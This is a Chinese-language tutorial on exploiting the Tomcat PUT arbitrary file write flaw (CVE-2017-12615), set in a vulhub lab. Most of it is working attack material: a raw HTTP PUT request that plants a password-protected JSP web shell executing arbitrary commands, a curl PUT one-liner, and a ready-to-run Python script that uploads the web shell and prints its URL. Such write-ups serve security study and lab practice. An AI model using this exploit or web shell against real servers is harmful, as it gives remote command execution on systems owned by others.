Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

当 Tomcat启用了HTTP PUT请求方法并且将 readonly 初始化参数由默认值设置为 false，就能执行任意文件写入漏洞

Tomcat 版本内web.xml配置文件内默认配置无readonly参数，需要手工添加，所以默认配置条件下不受此漏洞影响。
配置文件为 \conf\web.xml

利用vulhub搭建漏洞环境 目录为tomcat/CVE-2017-12615 环境启动成功

• 直接构造如下exp

PUT /shell1.jsp/ HTTP/1.1
Host:目标ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 417

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("
");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("
");
    } 
%>

也可以用linux的curl进行put写入木马

curl -XPUT 目标ip/aufeng.jsp/ --data "aufeng"

直接打脚本，原理就是构造一个请求包。

脚本如下：

import requests
import sys
import time

'''
Usage:
	python CVE-2017-12615.py http://127.0.0.1

	shell: http://127.0.0.1/shell.jsp?pwd=AF&cmd=whoami


'''

def attack(url):
	user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
	headers={"User-Agent":user_agent}
	data="""<%
    if("AF".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
");
    }
%>"""
	try:
		requests.put(url, headers=headers, data=data)

		time.sleep(2)

		verify_response = requests.get(url[:-1], headers=headers)

		if verify_response.status_code == 200:
			print 'success!'
		else :
			print verify_response.status_code

	except :
		"error"

if __name__ == '__main__':
	target_url = sys.argv[1] + '/shell.jsp/'

	attack(target_url)
	print 'shell: ' + target_url[:-1]